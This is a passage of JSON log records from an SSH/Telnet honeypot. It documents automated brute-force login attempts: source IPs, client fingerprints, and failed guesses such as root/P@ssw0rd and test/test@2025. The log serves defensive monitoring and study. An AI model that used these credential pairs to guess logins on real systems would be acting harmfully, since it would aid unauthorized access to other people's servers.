bc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:09.533476Z","src_ip":"103.154.77.48","session":"1bc4f01165e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:10.530938Z","src_ip":"103.154.77.48","session":"1bc4f01165e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:11.775215Z","src_ip":"103.154.77.48","session":"1bc4f01165e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00226283073425,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:11.791653Z","src_ip":"98.30.219.209","session":"84575f889f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":47890,"dst_ip":"159.203.135.109","dst_port":22,"session":"f27e1ff55677","protocol":"ssh","message":"New connection: 102.210.148.92:47890 (159.203.135.109:22) [session: f27e1ff55677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:11.932426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:11.939279Z","src_ip":"102.210.148.92","session":"f27e1ff55677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:12.180758Z","src_ip":"102.210.148.92","session":"f27e1ff55677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:13.179012Z","src_ip":"102.210.148.92","session":"f27e1ff55677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:14.424555Z","src_ip":"102.210.148.92","session":"f27e1ff55677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":44810,"dst_ip":"10.17.0.5","dst_port":22,"session":"4efed4cb83c2","protocol":"ssh","message":"New connection: 45.144.233.56:44810 (10.17.0.5:22) [session: 4efed4cb83c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:24.263311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:24.272623Z","src_ip":"45.144.233.56","session":"4efed4cb83c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:24.367826Z","src_ip":"45.144.233.56","session":"4efed4cb83c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"sipv","message":"login attempt [sipv/sipv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:24.775230Z","src_ip":"45.144.233.56","session":"4efed4cb83c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:25.878440Z","src_ip":"45.144.233.56","session":"4efed4cb83c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":39880,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ffceb46781","protocol":"ssh","message":"New connection: 202.53.94.246:39880 (159.203.135.109:22) [session: 15ffceb46781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:31.262132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:31.284446Z","src_ip":"202.53.94.246","session":"15ffceb46781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:31.517196Z","src_ip":"202.53.94.246","session":"15ffceb46781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirin","password":"kirin","message":"login attempt [kirin/kirin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:32.382618Z","src_ip":"202.53.94.246","session":"15ffceb46781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:33.605783Z","src_ip":"202.53.94.246","session":"15ffceb46781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":39424,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d9bad2a960","protocol":"ssh","message":"New connection: 20.160.86.7:39424 (10.17.0.5:22) [session: f6d9bad2a960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:44.815843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:44.821196Z","src_ip":"20.160.86.7","session":"f6d9bad2a960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:44.902683Z","src_ip":"20.160.86.7","session":"f6d9bad2a960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2025","message":"login attempt [test/test@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:45.258904Z","src_ip":"20.160.86.7","session":"f6d9bad2a960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":51992,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0a076262466","protocol":"ssh","message":"New connection: 112.104.154.26:51992 (10.17.0.5:22) [session: a0a076262466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:45.633119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:45.637702Z","src_ip":"112.104.154.26","session":"a0a076262466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:45.838344Z","src_ip":"112.104.154.26","session":"a0a076262466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:46.342690Z","src_ip":"20.160.86.7","session":"f6d9bad2a960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"long123","message":"login attempt [root/long123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:46.680450Z","src_ip":"112.104.154.26","session":"a0a076262466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:47.880845Z","src_ip":"112.104.154.26","session":"a0a076262466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36574,"dst_ip":"10.17.0.5","dst_port":22,"session":"a690505025cb","protocol":"ssh","message":"New connection: 190.223.60.209:36574 (10.17.0.5:22) [session: a690505025cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:59.784683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:59.789819Z","src_ip":"190.223.60.209","session":"a690505025cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:10:59.916247Z","src_ip":"190.223.60.209","session":"a690505025cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd!","message":"login attempt [root/P@$$w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:00.454430Z","src_ip":"190.223.60.209","session":"a690505025cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":39466,"dst_ip":"159.203.135.109","dst_port":22,"session":"31bd61bd3bf5","protocol":"ssh","message":"New connection: 103.154.241.42:39466 (159.203.135.109:22) [session: 31bd61bd3bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:00.903368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:00.908965Z","src_ip":"103.154.241.42","session":"31bd61bd3bf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:01.152064Z","src_ip":"103.154.241.42","session":"31bd61bd3bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:01.584793Z","src_ip":"190.223.60.209","session":"a690505025cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1s2d3f4","message":"login attempt [root/A1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:02.153343Z","src_ip":"103.154.241.42","session":"31bd61bd3bf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:03.398770Z","src_ip":"103.154.241.42","session":"31bd61bd3bf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":44410,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb39af9527d1","protocol":"ssh","message":"New connection: 45.144.233.56:44410 (10.17.0.5:22) [session: bb39af9527d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:41.561878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:41.567249Z","src_ip":"45.144.233.56","session":"bb39af9527d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:41.661617Z","src_ip":"45.144.233.56","session":"bb39af9527d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":57022,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a015132db9c","protocol":"ssh","message":"New connection: 103.154.77.48:57022 (159.203.135.109:22) [session: 0a015132db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:41.676314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:11:41.681594Z","src_ip":"103.154.77.48","session":"0a015132db9c","protocol":"ssh"}
